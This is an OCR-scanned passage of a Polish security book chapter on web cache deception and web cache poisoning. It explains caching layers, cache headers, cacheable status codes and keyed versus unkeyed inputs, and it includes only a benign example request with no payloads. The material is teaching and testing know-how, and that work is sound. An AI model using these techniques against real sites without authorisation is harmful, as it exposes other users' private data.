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Zastrzezenia prawne

Bezpieczenstwo IT ma coraz wigksze znaczenie. Nie mozna profesjonalnie
zabezpieczyc aplikacji czy systemu, nie znajgc technik ich atakowania.
Omawiamy je w tej ksigzce, poniewaz to bardzo skuteczny sposob pod-
noszenia wiedzy i sSwiadomosci uzytkownikdw, administratorow i twdrcow
aplikacji. Wszelkie podawane przez nas informacje powinny jednak byc¢
wykorzystywane wytacznie w granicach prawa, co z reguty oznacza za-
kaz wykorzystywania omawianej tu wiedzy bez zgody dysponenta syste-
mu czy sieci.

Wyjscie poza te granice moze skutkowac¢ zaréwno odpowiedzialnoscig
cywilng (np. obowigzkiem naprawienia wyrzgdzonej szkody), jak i odpo-
wiedzialnoscig karng. Przyktadowo, zgodnie z polskim kodeksem karnym
nieuprawnione uzyskanie dostgpu do systemu informatycznego lub jego
czesci podlega grzywnie, karze ograniczenia wolnosci albo pozbawienia
wolnosci do lat 2 (art. 267 §2 kodeksu karnego). Z kolei nieuprawnione za-
ktdcenie w istotnym stopniu pracy systemu informatycznego, systemu
teleinformatycznego lub sieci teleinformatycznej przez transmisje, znisz-
czenie, usuniecie, uszkodzenie, utrudnienie dostgpu lub zmiane danych
informatycznych podlega karze pozbawienia wolnosci od 3 miesiecy do
lat 5 (art. 269a kodeksu karnego).

Zwracamy na to uwage, poniewaz nie jest naszym zamiarem wspieranie
jakichkolwiek bezprawnych dziatan. Dlatego zastrzegamy, ze w najszer-
szym prawnie dopuszczalnym zakresie wytgczamy naszg odpowiedzial-
nosc za skutki takich dziatan.
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Autorka

IWONA POLAK

Doktor nauk technicznych w dyscyplinie informatyki z ponad dziesigecioletnim doswiadczeniem
w branzy IT. Wezesniej webdeveloper, specjalista ds. zarzgdzania ryzykiem, obecnie audytorka bez-
pieczenstwa w Securitum. Zajmuje sie badaniami bezpieczeristwa aplikacji finansowych, e-commerce
i innych systemow krytycznych biznesowo. Przez kilka lat byta pracownikiem naukowo-dydaktycznym
na Uniwersytecie Slaskim.

W swiat informatyki wkroczyta z komputerem Commodore 64. Od kilkunastu lat jest cztonkiem Mensa
Polska. Hobbystycznie uwielbia tariczye oraz podrozowag, tak realnie, jak i mentalnie w wielu wymia-
rach, stad tak dobrze odnajduje sie zardwno w $wiecie rzeczywistym, jak i wirtualnym.






lwona Polak

Zonglowanie pamiecig podreczng






Bledy bezpieczenstwa zwigzane z pamiecig podreczng powstaja w sytuacji, gdy nie-
ktére zasoby (ang. resource) aplikacji internetowej zostaja zachowane w pamieci
podrecznej (ang. cache), a nastepnie dostarczone innym uzytkownikom. Warunki
wykorzystania tej podatnosci oraz jej skutki moga by¢ bardzo r6zne w zaleznosci
od tego, co jest zachowywane i w jaki sposéb.

Aby lepiej zrozumieé, jak powstaja podatnosci zwigzane z pamiecia podreczna,
najpierw krétko — i niewatpliwie w duzym uproszczeniu — omowie, jak dziata In-
ternet (rysunek 1).

Rysunek 1. To jest Internet (kadr z serialu: Technicy-magicy, s03e04 Przemdéwienie;
ang. The IT Crowd, s03e04 The Speech, Wielka Brytania, serial telewizyjny, 2006-2013)

THIS, JEN, IS THE INTERNET

Kiedys, w zamierzchtych czasach, komputer uzytkownika kontaktowat sie bez-
posrednio z serwerem hostujacym, a ten dostarczat gtdwnie statycznych zasobow
(w postaci statycznych stron HTML czy grafik). Kazde kolejne zadanie wystane
przez kazdego kolejnego uzytkownika bylo obstugiwane osobno, bezposrednio
przez serwer i bez zwigzku z Zadaniami poprzednimi (rysunek 2).
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Rysunek 2. Internet kiedys

Wraz z rozwojem cywilizacji rzeczywistos¢ zaczeta sie nieco komplikowac (rysunek 3).
Obecnie pomiedzy uzytkownikiem a kodem aplikacji znajduje sie wiele warstw.
Przede wszystkim skomplikowala sie sytuacja na samych serwerach. Strona WWW
nie jest juz zbiorem kilku statycznych stron HTML, lecz najcze$ciej subtelnym kola-
zem wielu elementéw. Pojedyncze zadanie pliku HTML potrafi docelowo wywotlac¢
co najmniej interpreter jezyka programowania, interpreter szablonéw i silnik bazy
danych, a nastepnie te wszystkie kawatki uktadanki serwer musi ztozy¢ w jedna ca-
1o$¢, mocno angazujac procesor. W poréwnaniu z tym pobranie raz wygenerowanej
strony z pamieci podrecznej jest szybkie i oszczedne.
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Rysunek 3. Internet dzis

Na zamieszanie wplywaja takze wszelkiego rodzaju ustugi, takie jak sieci dostar-
czania tresci (ang. Content Distribution Network, CDN, np. Akamai, Cloudflare),
serwery posredniczace (ang. reverse proxy, np. Imperva, Varnish) czy rozwigzania
réwnowazace obciazenie (ang. load balancer, np. F5, kemp). Dana marka czy pro-



This, Jen, is the Internet

dukt moze jednoczesnie dostarcza¢ wiecej niz jedna z wymienionych ustug. Zada-
niem tych ustug jest m.in. przechowywanie w pamieci podrecznej pewnych zaso-
bow (najczesciej statycznych, jak grafiki czy pliki CSS), co pozwala na odciazenie
serwera aplikacyjnego oraz zmniejszenie obcigzenia sieci, a takze na szybsze do-
starczanie treSci uzytkownikom w réznych czesciach swiata. Skorzystanie z serwera
posredniczacego (reverse proxy) moze réwniez podnie$¢ poziom bezpieczenstwa.
Serwer posredniczacy ukrywa lokalizacje i charakterystyke oryginalnego serwera,
moze blokowa¢ préby atakéw aplikacyjnych (jak XSS czy SQL Injection), zanim
w ogble dotra one do samej aplikacji, oraz pozwala na zredukowanie ryzyka sku-
tecznego ataku (D)DoS.

Kolejnym miejscem, gdzie zachowywane sq raz pobrane zasoby, jest pamie¢
podreczna przegladarki lub innej aplikacji klienckiej na urzadzeniu koncowym
uzytkownika (komputer, smartfon, tablet itd.). Ponownie chodzi o zmniejszenie
transferu oraz szybsze tadowanie sie stron, ktore byly juz kiedys odwiedzone. Ten
temat nie bedzie jednak poruszany w tym rozdziale. Podatnosci zatrucia i oszukania
pamieci podrecznej maja swoje Zrdédta poza urzadzeniem koncowym, gdzie$ w roz-
legtej galaktyce Internetu.

Uproszczony schemat wykorzystania wspotdzielonej pamieci podrecznej zostat
przedstawiony na rysunku 4, natomiast szczegétowy opis prezentuje sie nastepujaco:

1. Uzytkownik A za posrednictwem przegladarki wysyla do pewnej aplikacji
internetowe] zadanie o zas6b unicorn.png. Zadanie to trafia najpierw do po-
Sredniego serwera CDN.

2. Serwer weryfikuje, czy taki zasdb zostal juz wczesniej zapisany. Okazuje sie,
ze nie. W zwiazku z tym serwer CDN przesyla zadanie dalej, do docelowego
serwera hostujacego aplikacje.

3. Serwer docelowy odsyla zaséb unicorn.png do serwera CDN.

4. Serwer CDN odsyta zaséb unicorn.png do Uzytkownika A i jednocze$nie za-
pisuje kopie odpowiedzi do ewentualnego p6zniejszego wykorzystania. Na
razie nie wydarzylo sie nic nadzwyczajnego.

5. Minute péZniej Uzytkowniczka B rowniez ma ochote poogladac¢ jednorozce.
Za posrednictwem swojej przegladarki internetowej wysyla zadanie do tej
samej aplikacji o zaséb majacy znajomo brzmiacq nazwe unicorn.png (zbiez-
no$¢ nazw nieprzypadkowa). Tak jak w punkcie 1 Zadanie to trafia najpierw
do serwera CDN.

6. Ponownie serwer weryfikuje, czy taki zaséb zostal juz wczesniej zapisany.
Tym razem okazuje sie, ze tak. W zwiazku z tym serwer CDN odsyla Uzyt-
kowniczce B odpowiedZ na podstawie zapisanej kopii. To drugie zadanie
nigdy nie trafia do serwera docelowego. Zatem z punktu widzenia serwera
docelowego nikt wiecej nie pytat o jednorozce.
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Rysunek 4. Wspétdzielona pamie¢ podreczna

Aby usystematyzowa¢ omawiany temat, wprowadzony zostanie nastepujacy po-
dziat' (rysunek 5):

» wspoéldzielona pamie¢ podreczna (ang. shared cache) lub publiczna pamiec¢
podreczna (ang. public cache) — pamie¢ podreczna przechowujaca zasoby,
ktore moggq zostac uzyte przez wiecej niz jednego uzytkownika, w tym m.in.:

> wewnetrzna pamie¢ podreczna (ang. internal cache) lub zintegrowana
pamiec¢ podreczna (ang. integrated cache) — pamie¢ podreczna zaimple-
mentowana bezposrednio w aplikacji, np. w wyniku wykorzystania wbudo-
wanych funkcji uzytego systemu zarzadzania trescig (ang. Content Mana-
gement System, CMS) czy platformy programistycznej (ang. framework),

> zewnetrzna pamie¢ podreczna (ang. external web cache) lub posred-
nia pamie¢ podreczna (ang. intermediate cache) — pamie¢ podreczna
obstugiwana przez serwer posredniczacy, najczesciej przez dostawce sta-
nowigcego strone trzecia,

> inne — do tej kategorii beda zalicza¢ sie pozostate ustugi pamieci pod-
recznej, np. rozwiazania wdrozone u dostawcéw ustug internetowych
(ang. Internet Service Provider, ISP) czy serwery posredniczace stano-
wiace cze$¢ infrastruktury sieci lokalnej;

» prywatna pamie¢ podreczna (ang. private cache) lub lokalna pamie¢ pod-
reczna (ang. local cache) — pamie¢ podreczna z zatozenia dostepna tylko
dla jednego uzytkownika; zasoby sq zapisywane w pamieci lokalnie zain-
stalowanej przegladarki internetowej (ang. web browser) lub innej aplikacji
klienckiej (ang. user agent).

Gdy w dalszej czesci tekstu bedzie mowa o systemie, serwerze lub mechanizmie pa-
mieci podrecznej, bedzie chodzito wlasnie o jeden z wyzej wymienionych sktadnikéw.
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Rysunek 5. Podziat pamieci podrecznej — od prywatnej, bedqcej najblizej uzytkow-
nika, po zintegrowanq, bedqcq najblizej aplikacji

Pomiedzy kodem Zrédlowym aplikacji a uzytkownikiem koncowym mogg znajdo-
wac sie wszystkie wyzej wymienione warstwy i rodzaje pamieci podrecznej, tyl-
ko wybrane lub — cho¢ obecnie to mato prawdopodobne — Zadna. Wizualnie jedna
strona internetowa moze by¢ w istocie pobrana z wielu Zrédel, ztozona z wielu
zachowanych w pamieci podrecznej puzzli. Przyjmijmy, ze pewien uzytkownik po
raz kolejny z tego samego urzadzenia odwiedza strone gtéwna portalu sekurak.pl
www . sekurak.pl/index.php (rysunek 6). W Swiat zostaje wystane zZadanie o pobra-
niu zasobu HTML. Sama strona HTML nie zostala nigdzie zapisana, wiec zadanie
dociera do serwera docelowego. Serwer docelowy w tym momencie generuje za-
warto$¢ strony, cho¢ stopke, ktéra sie rzadko zmienia, pobiera z kopii zapisanej we
wbudowanej pamieci aplikacji (wewnetrzna pamie¢ podreczna). Gdy zaséb HTML
zostaje dostarczony do uzytkownika, nastepuje kolejne zZadanie o dotaczony do stro-
ny plik JavaScript. To zZadanie dociera do serwera posredniczacego, ktory odkrywa,
ze ma u siebie aktualng kopie tego zasobu, wiec zwraca ja do uzytkownika bez
komunikacji z serwerem docelowym (zewnetrzna pamie¢ podreczna). Na stronie
ma by¢ wyswietlone takze logo. Grafika z logo przy poprzedniej wizycie zostala
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zapisana w pamieci podrecznej przegladarki, wiec wystanie Zadania nie jest nawet
konieczne — zaséb mozna pobra¢ z pamieci podrecznej przegladarki (prywatna pa-

mie¢ podreczna).

www.sekurak.pl/index.php mdex.php) index.php b4 index.php ) i
- - index.php
index.php index.php
v L S— (
d logo.png B
script.js o X
script.js script.js {{footer}}
prywatna zewngtrzna wewngtrzna
pamieé pamiet pamieé
podreczna podreczna podreczna

Rysunek 6. Struktura warstw pamieci podrecznej

W CZYM PROBLEM?

Jak to czesto w bezpieczenstwie bywa: nowe rozwiazania likwidujq jedne pro-
blemy, a jednocze$nie w ramach skutkéw ubocznych generuja kolejne. Zle zarza-
dzanie pamiecia podreczng moze prowadzi¢ do powstania podatnosci, ktére bez tej
pamieci by nie istnialy lub nie bytyby mozliwe do wykorzystania. Co wiecej, miedzy
uzytkownikiem koficowym a plikami Zrédtowymi aplikacji moze by¢ kilka warstw
pamieci podrecznej, co zwieksza powierzchnie potencjalnych klopotéw. Zwlaszcza
jesli kazda z tych warstw ma wasny pomyst na interpretacje tego, co widzi.

W zaleznosci od konkretnego przypadku atakujacy (lub atakujaca) moze albo
czeka¢, az dzialania innych uzytkownikéw zostang zachowane w pamieci pod-
recznej, by samemu je potem stamtad wydosta¢ (rysunek 7), albo chcie¢ zacho-
wacé w pamieci podrecznej co$, co bedzie serwowane nastepnie innym uzytkowni-
kom (rysunek 8). Pierwsze zachowanie polega na oszukaniu pamieci podrecznej
(ang. web cache deception), a drugie — na zatruciu pamieci podrecznej (ang. web
cache poisoning). Oba te wektory ataku zbiorczo bede nazywa¢ Zonglowaniem pa-
miecia podreczna (ang. web cache juggling). Na marginesie dodam, Ze istnieje jesz-
cze zatrucie pamieci podrecznej DNS (ang. DNS cache poisoning lub DNS spoofing)>.
To zagadnienie wykracza jednak poza ramy tego rozdziatu.
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Rysunek 7. Oszukanie pamieci podrecznej (ang. web cache deception)
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Rysunek 8. Zatrucie pamieci podrecznej (ang. web cache poisoning)

Ze wzgledu na liczne warstwy posrednie wplywajace na koricowe zachowanie apli-
kacji ataki zwigzane z pamiecia podreczna moga by¢ trudne w analizie i wyko-
rzystaniu, tak samo jak trudne moze by¢ pdzniejsze znalezienie i wyeliminowanie
przyczyn wykrytych podatnosci. To, czy odpowiedz zostanie zachowana w pamieci
podrecznej, zalezy od wielu czynnikéw, takich jak rozszerzenie pliku, kod odpo-
wiedzi HTTP, naglowki odpowiedzi itd. Podczas opracowywania tego ataku troche
czasu trzeba poSwieci¢ na zbadanie i przeanalizowanie tego, jak zapisywanie odpo-
wiedzi w pamieci podrecznej zachowuje sie w réznych przypadkach i na ré6znych
podstronach danej aplikacji.
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NAGLOWKI

Nagtéowki odpowiedzi, ktére warto zna¢ podczas zonglowania pamiecia pod-
reczna, to:

Age®

W nagléowku Age w sekundach podany jest czas, jak dlugo dany zaséb znajduje
sie w pamieci podrecznej. Jesli wartoscia tego nagléwka jest Age: ©, oznacza to,
ze otrzymana odpowiedzZ prawdopodobnie zostata pobrana z oryginalnego serwera.
W przeciwnym razie (dla warto$ci wiekszych od zera) zaséb zostal pobrany z ser-
wera pamieci podrecznej.

Cache-Control*

Nagléwek Cache-Control zawiera zbior dyrektyw dotyczacych sposobu zacho-
wywania zasobow w pamieci podrecznej. W przypadku uzycia wielu dyrektyw uzy-
wany jest jeden nagléwek Cache-Control, a poszczeg6lne dyrektywy oddzielone
sq przecinkami (np.: Cache-Control: max-age=0, private). Niektére dyrektywy
majq dodatkowe argumenty. Z interesujacych w omawianym kontekscie dyrektyw
warto wymienic:

» max-age=<sekundy> — ta dyrektywa wskazuje maksymalny czas, przez jaki
zas6b moze by¢ zwracany z pamieci podrecznej. Po tym czasie dany zaséb
ponownie zostanie pobrany z oryginalnego serwera;

» max-age=0 — szczeg6lny przypadek dyrektywy max-age, ktéry wymusza wy-
czyszczenie pamieci podrecznej (dla danego zasobu);

» s-maxage=<sekundy> — warto$¢ tej dyrektywy nadpisuje warto$¢ podana
w dyrektywie max-age, ale tylko w przypadku wspétdzielonej pamieci pod-
recznej. Dyrektywa jest ignorowana przez prywatna pamiec¢ podreczng;

» public — z ta dyrektywa odpowiedZ moze zosta¢ zachowana w dowolnym
rodzaju pamieci podrecznej (w przegladarce, serwerze posredniczacym
itd.), nawet jesli normalnie odpowiedz nie podlega zapisywaniu w pamieci
podrecznej;

» private — dyrektywa ta wskazuje, Ze odpowiedZ jest przeznaczona tylko
dla jednego uzytkownika, zatem odpowiedZ moze by¢ przechowywana wy-
lacznie w pamieci podrecznej przegladarki lub innej aplikacji klienckiej (nie
moze by¢ przechowywana w zadnej wspoétdzielonej pamieci podrecznej);

» no-cache — nazwa jest mylaca, gdyz wbrew pozorom nie oznacza, Ze nie wolno
zachowywac zasobu w pamieci podrecznej. Dyrektywa ta pozwala na zacho-
wanie odpowiedzi w pamieci podrecznej, ale nie wolno tej zachowanej odpo-
wiedzi uzy¢ bez uprzedniej weryfikacji na serwerze docelowym, czy nadal jest
ona aktualna;

» no-store — z tg dyrektywa nowy zasob nie bedzie zachowywany w zadnej pa-
mieci podrecznej. Uwaga: nie zapobiega ona pobraniu kopii zasobu, ktéry zostat
zachowany w pamieci podrecznej juz wczesniej.



Nagtowki

Expires®®

W nagléwku Expires znajduje sie data i czas, po ktérym odpowiedzZ jest uzna-
wana za nieSwiezq (ang. stale). Warto$¢ tego nagtéwka musi by¢ podana w formacie
daty HTTP (ang. HTTP-date), np.:

Expires: Mon, 30 Jul 1984 13:35:00 GMT

Daty w nieprawidlowym formacie, w szczegélnosci wartos¢ ,,0”, musza by¢ interpre-
towane jako reprezentujace czas w przesztosci, a zatem nalezy uznac, ze zaséb wygast.

Nagtowek Expires jest ignorowany, gdy w odpowiedzi jednoczes$nie wystepuje
nagtowek Cache-Control z dyrektywq max-age lub s-maxage.

Vary’ ¢

Nagtéwek Vary jest uzywany przez serwer, aby wskazac, ktore nagtowki zadania
sa brane pod uwage przy decyzji o tym, czy dany zaséb pobra¢ z serwera pamieci
podrecznej czy z serwera oryginalnego. Nagldwek ten przyjmuje postac:

Vary: <nazwa-nagitéwka>, <nazwa-nagidowka>, ...

Rozwazmy taki przyklad:

1. Wysylane jest pewne zadanie z nagldwkiem Accept-Encoding: gzip.

2. W odpowiedzi na to zadanie zostaje zwr6cona odpowiedz z nagltéwkiem
Vary: Accept-Encoding.

3. Odpowiedz ta zostaje zachowana w pamieci podrecznej.

4. Minute p6zniej wysylane jest kolejne zadanie, tym razem z nagléwkiem
Accept-Encoding: deflate. Z powodu braku zgodnosci nagltéwka Accept-
-Encoding z poprzednim zadaniem to pdézniejsze zadanie zostanie przekaza-
ne do serwera oryginalnego w celu ponownego wygenerowania odpowiedzi.

5. Dwie minuty pézniej wysylane jest kolejne zadanie z nagtéwkiem Accept-
-Encoding: gzip. W takim przypadku (zgodno$¢ nagtéwkow Accept-En-
coding zadan) odpowiedz zostanie zwrdcona z serwera pamieci podrecznej.

X-Cache’ (i podobne)

Nagtowek X-Cache jest dodawany przez serwer pamieci podrecznej. Najbardziej

interesujace sa dwie wartos$ci wygladajace tak jak ponizej lub podobnie:

» X-Cache: MISS — $wiadczy o tym, Ze na serwerze pamieci podrecznej nie
zostala dopasowana zadna kopia zasobu, ktéra moglaby zosta¢ zwrdcona,
a zatem odpowiedz pochodzi z oryginalnego serwera;

» X-Cache: HIT — $wiadczy o tym, Ze na serwerze pamieci podrecznej zo-
stata dopasowana kopia zasobu, ktérego dotyczy zadanie, wiec odpowiedz
pochodzi z serwera pamieci podrecznej. W tym przypadku zadanie nawet nie
dociera do oryginalnego serwera, poniewaz zostato obstuzone ,,po drodze”.
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W zalezno$ci od dostawcy warianty tego nagléwka moga sie rézni¢. Na przyktad
w przypadku ushugi CloudFront przyjmowane sg warto$ci: X-Cache: Hit from
cloudfront / X-Cache: Miss from cloudfront. Z kolei ustugi Cloudflare zwra-
caja nagldwki: cf-cache-status: HIT/ cf-cache-status: MISS. Ponadto moga
wystepowac inne wartosci tego nagtéwka (np. BYPASS, EXPIRED, DYNAMIC).

X-Cache-Hits™

Charakterystyczny dla produktéw Fastly nagléwek X-Cache-Hits wskazuje, ile
byto zapytan do danego wezta. Jako wartosci przyjmuje liczby naturalne. Warto$¢
X-Cache-Hits: @ jest ekwiwalentem X-Cache: MISS, a kazda liczba dodatnia jest
ekwiwalentem X-Cache: HIT. Wyzsze liczby zazwyczaj wskazuja, ze dany adres
URL by} odwiedzany przez wieksza liczbe uzytkownikow. Nalezy pamietac, ze ich
liczba jest liczona wzgledem danego serwera pamieci podrecznej, a nie serwera
docelowego. W przypadku sieci serwer6w posredniczacych, z ktérych moga by¢
pobierane te same zachowane dane, w nagldéwku X-Cache-Hits moga znalez¢ sie
bardzo rézne wartos$ci dla tego samego wielokrotnie powtérzonego zadania w zalez-
nosci od tego, do ktérego konkretnie serwera pamieci podrecznej trafi dane zadanie.

X-Drupal-Cache, X-Drupal-Dynamic-Cache'’ (i inne specyficzne nagtéwki)

X-Drupal-Cache i X-Drupal-Dynamic-Cache sa nagtéwkami dodawanymi przez
platforme Drupal. Tak jak w przypadku X-Cache przyjmuja warto$ci MISS i HIT, z tq
r6znicy, ze dotycza pamieci podrecznej aplikacji, a nie serwera posredniczacego.
Moga réwniez przyja¢ warto$¢ UNCACHEABLE.

Niestandardowe nagtowki

Zdarzaja sie réwniez nagtéwki niestandardowe wprowadzone tylko w ramach
danego projektu czy aplikacji. Warto zwraca¢ uwage na wszystkie niestandardowe
naglowki, ktdére przyjmuja wartosci z nastepujacych zbioréw:

> 0,1,
liczby naturalne,
MISS, HIT (i podobne),
NO, YES,

v v v

poniewaz ich obecno$¢ moze wskazywac na uzycie pamieci podrecznej platformy
lub serwera posredniczacego.

O czym jeszcze warto pamieta¢ w kwestii nagléwkow? Otéz moga by¢ one bardzo
zwodnicze. Spotkalam sie z przypadkiem, gdy w odpowiedzi wystepowal nagtéwek
Vary: User-Agent, ale przy dopasowywaniu zachowanych odpowiedzi do zadan
warto$¢ nagtowka User-Agent nie byla w og6le brana pod uwage. Pod warunkiem
zgodnosci linii Zadania i nagléwka Host serwer posredniczacy i tak zwracat zacho-
wang odpowiedZ kazdemu uzytkownikowi korzystajacemu z dowolnej przegladarki.
W przypadku innych testowanych aplikacji odpowiedzi nie zawieraly ani nagtéwka
Age, ani nagléwka X-Cache (lub podobnego), a mimo to aplikacje byty podatne na Zon-
glowanie pamiecig podreczna. Z kolei obecnos$¢ nagtéwka Cache-Control: no-cache
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nie wyklucza wykrycia takiej podatnosci. Nagtowki moga by¢ ignorowane lub prze-
pisywane przez serwery posredniczace, jak cho¢by podczas uzycia ble... (ekhm...)
funkcjonalnosci Edge Cache Expire TTL' od Cloudflare lub autorskiego nagtowka
Edge-Control u Akamai'®. Wniosek jest prosty: niezaleznie od tego, na co wskazuja
naglowki lub ich brak, warto zweryfikowa¢, czy mozliwe jest zonglowanie pamie-
cig podreczna.

METODY | KODY

Zgodnie z wytycznymi zawartymi w RFC 7231 Hypertext Transfer Protocol
(HTTP/1.1): Semantics and Content*, metody HTTP moga by¢ oznaczone jako
podlegajace zapisywaniu w pamieci podrecznej (ang. cacheable), aby wskazac,
ze odpowiedzi na nie moga by¢ przechowywane w celu ich p6zZniejszego uzycia.
W tym dokumencie jako metody podlegajace zapisywaniu zostaly zdefiniowane
metody GET, HEAD i POST, cho¢ wiekszo$¢ implementacji pamieci podrecznej prze-
chowuje tylko odpowiedzi na GET i HEAD.

W tym samym dokumencie RFC wskazano réwniez kody odpowiedzi, z jakimi
moga by¢ one zapisywane w pamieci podrecznej. Sa to:

> 200 0K,

203 Non-Authoritative Information,
204 No Content,

300 Multiple Choices,

301 Moved Permanently,

404 Not Found,

405 Method Not Allowed,

410 Gone,

414 URI Too Long,

501 Not Implemented.

vV V. YV VvV VvV VY VvV VY

OdpowiedzZ z jednym z powyzszych kod6éw jest domyslnie zapisywana w pamieci
podrecznej, oczywiscie o ile nie wskazano inaczej w definicji metody lub jawnych
kontrolach pamieci podrecznej. Pozostate kody odpowiedzi domyslnie nie podlega-
ja zapisywaniu w pamieci podrecznej.

TO CACHE, OR NOT TO CACHE

Najwazniejsza kwestig do rozstrzygniecia podczas uzywania pamieci podrecznej
jest decyzja, co moze podlega¢ zachowaniu w niej, a co nie. Zapisywa¢ w pamieci
podrecznej mozna wszystkie zasoby statyczne i publicznie dostepne, ktére nie za-
wieraja zadnych poufnych danych. Do tej kategorii beda zatem zaliczane grafiki,
pliki z arkuszami styléw czy pliki ze skryptami. W pamieci podrecznej nie mogg by¢
zapisywane zadne zasoby zawierajace poufne informacje i/lub informacje dotyczace
konkretnego uzytkownika. Beda to na przyklad dane dotyczace konta, poprzednich
zamowien czy Srodkéw zgromadzonych w wirtualnym portfelu (tabela 1)*.
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Tabela 1. Zasoby podlegajqce i niepodlegajqce zachowywaniu w pamieci podrecznej

Cechy: » statyczny » zawiera poufne dane
» publicznie dostepny » zawiera dane dotyczace
» nie zawiera zadnych pouf- jednego uzytkownika
nych danych
Przyktady: » logo.jpg » account.php
» style.css » Orders.aspx
» plugin.js » wallet.jsp
Czy jest mozliwos¢ zapisu , 9

w pamieci podrecznej?

Gdy pewna odpowiedZ zostanie zachowana w pamieci podrecznej, teoretycznie
moglaby przez te pamie¢ by¢ zwracana juz zawsze. W praktyce jednak zasoby
w pamieci podrecznej sg przechowywane nieco krocej. Przede wszystkim serwer
docelowy ma mozliwo$¢ przekazania serwerowi pamieci podrecznej informacji
o tym, jak dlugo dany zaséb uznawany jest za $wiezy (ang. fresh), np. poprzez
nagltéwek Cache-Control. Po tym czasie zachowany zas6b jest juz niesSwiezy
(ang. stale) i w ten sposob serwer docelowy wyznacza maksymalny czas, w jakim
zas6b moze by¢ zwracany z pamieci podrecznej. NajpéZniej po uplywie tego cza-
su serwer posredniczacy powinien ponownie zwrdci¢ sie do docelowego z prosba
0 wygenerowanie zasobu.

Nalezy réwniez pamietac, Ze zaden system pamieci podrecznej nie jest magiczng
torebka bez dna i jak kazdy serwer dysponuje skonczong przestrzenia do maga-
zynowania danych. Zatem zapisane odpowiedzi sa cyklicznie usuwane z pamie-
ci, niezaleznie od czasu wygasania. Ten proces nazywany jest eksmisja z pamieci
podrecznej (ang. cache eviction). Czas wygasania zasobu zachowanego w pamie-
ci podrecznej jest gérna granica, jak dlugo ten zaséb moze by¢ przechowywany
i zwracany. Wpisy w pamieci podrecznej dla rzadko uzywanej zawarto$ci moga
zostac usuniete (wyeksmitowane) wczesniej, niz wskazuje termin ,,przydatnosci do
spozycia”, tak aby zwolni¢ przestrzen dla przechowywania nowej zawartosci.

Podsumowujac, dhugos¢ zycia zasobu zachowanego w pamieci podrecznej be-
dzie zaleze¢ od preferencji serwera docelowego, konfiguracji serwera posrednicza-
cego oraz od algorytmu usuwania nieuzywanych (choc¢ teoretycznie nadal swiezych)
zasob6w. Zasob zachowany w pamieci podrecznej moze wygasnac¢ (ang. expire)
lub zosta¢ wyeksmitowany (ang. evicted)'®. Dodatkowo uzytkownik zarzadzaja-
cy pamiecia podreczna najczesciej moze na zadanie wymusi¢ jej wyczyszczenie
(ang. purge) dla konkretnego zasobu lub wszystkich zapisanych zasobéw!’.

Klucz do zagadki

Kiedy serwer posredniczacy otrzymuje zadanie HTTP, musi zdecydowac, czy ma
juz zapisana odpowiedz, ktérg moze bezposrednio zwrocic, czy tez ma przestac za-
danie dalej — do obstugi przez serwer docelowy. W tym celu serwer posredniczacy
identyfikuje odpowiadajace sobie zadania na podstawie klucza pamieci podrecznej
(ang. cache key), czyli pewnego ustalonego zbioru cech zadania. Zazwyczaj do tego
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zbioru beda zaliczane: metoda HTTP, protokél/schemat (ang. protocol/scheme), linia
zadania (ang. request line) oraz nagléwek Host. Jezeli przyjmiemy, ze zapisywane
w pamieci podrecznej s tylko zasoby dla zadan typu GET, mozna uznac, ze podsta-
wowym kluczem pamieci podrecznej (ang. primary cache key) jest adres URL.

Dodatkowe elementy wchodzace w sktad klucza pamieci podrecznej beda sta-
nowi¢ drugorzedny klucz pamieci podrecznej (ang. secondary cache key). Takimi
dodatkowymi elementami mozna sterowa¢ m.in. przez oméwiony wczesniej nagto-
wek Vary lub konfigurowac¢ je u dostawcy ustug. Czasem moze zdarzy¢ sie rowniez
sytuacja odwrotna — np. niektére parametry z linii zadania beda usuwane z klucza
pamieci podrecznej lub nie bedzie brany pod uwage protokét.

Z punktu widzenia atakujgcego zbiér tych ustalonych cech decydujacych o roz-
réznieniu poszczegélnych zachowanych zasobéw stanowi¢ beda kluczowe zmienne
wejSciowe (ang. keyed input), a wszystko poza nim — zmienne wejSciowe nieklu-
czowe (ang. unkeyed input). Z tej perspektywy nie bedzie istotne, co stanowi klucz
podstawowy, a co drugorzedny. Najwazniejsze bedzie rozréznienie elementéw,
z ktorymi liczy sie serwer pamieci podrecznej, oraz elementéw przez niego ignoro-
wanych. W ponizszym przyktadzie kluczowe zmienne zaznaczono kolorem zielo-
nym, a wszystkie pozostale elementy stanowig niekluczowe zmienne.

GET / HTTP/1.1

Host: sekurak.pl

User-Agent: Mozilla/5.0 [...]

Accept: text/html

Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate

Dnt: 1

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Te: trailers

Connection: close

Jesli klucz przychodzacego zadania zgadza sie z kluczem ktéregos z poprzednich
zadan, uznaje sie, Ze te zadania sq jednakowe. W sytuacji gdy kopia odpowiedzi na
to poprzednie zadanie zostata zachowana na serwerze posredniczacym, w odpowie-
dzi na obecne zadanie zostanie zwrécona wtasnie ona, a zadanie nie zostanie w ogoéle
przestane do serwera docelowego. To samo dotyczy wszystkich kolejnych zadan pa-
sujacych do tego samego klucza, az do momentu, gdy pamie¢ podreczna z zachowa-
ng odpowiedzia wygasnie, zostanie wyeksmitowana lub wyczyszczona. Istotne jest
to, Ze pozostate zmienne (parametry, nagtowki, ciasteczka) beda ignorowane przez
serwer pamieci podrecznej podczas dopasowania, natomiast mogq mie¢ wptyw na
oryginalng odpowiedz wygenerowang przez serwer docelowy.

Jak juz wspomnialam, w dopasowywaniu zadan moga zosta¢ zignorowane
ciasteczka. A to oznacza, ze odpowiedZ przygotowana dla jednego uzytkownika
przypadkowo moze zosta¢ zwrocona innemu uzytkownikowi. Dla zasob6w statycz-
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nych zazwyczaj nie jest to problemem, ale jesli przypadkiem zostanie w pamieci
podrecznej zachowana strona zawierajaca dane profilowe lub szczegdty zamowien
w sklepie internetowym, to zaczyna sie robi¢ interesujaco.

Teoretycznie systemy pamieci podrecznej poréwnujg otrzymang linie zadania
taka, jaka ona jest. W praktyce jednak mogg dokonywac na niej pewnych transfor-
macji. Moze to by¢ filtrowanie pewnych parametréw zadania (ang. query parame-
ters) czy normalizacja zmiennych wejsciowych, w tym tych nalezacych do zbioru
zmiennych kluczowych.

Zasoby statyczne

Mozna zdecydowac, ze zapisywane sg tylko pliki statyczne, a cata reszta nie pod-
lega zachowaniu w pamieci podrecznej. W takim podejsciu wszystko rozbija sie
o definicje pojecia ,,plik statyczny”. Na przyktad Cloudflare uznaje, ze do pliku
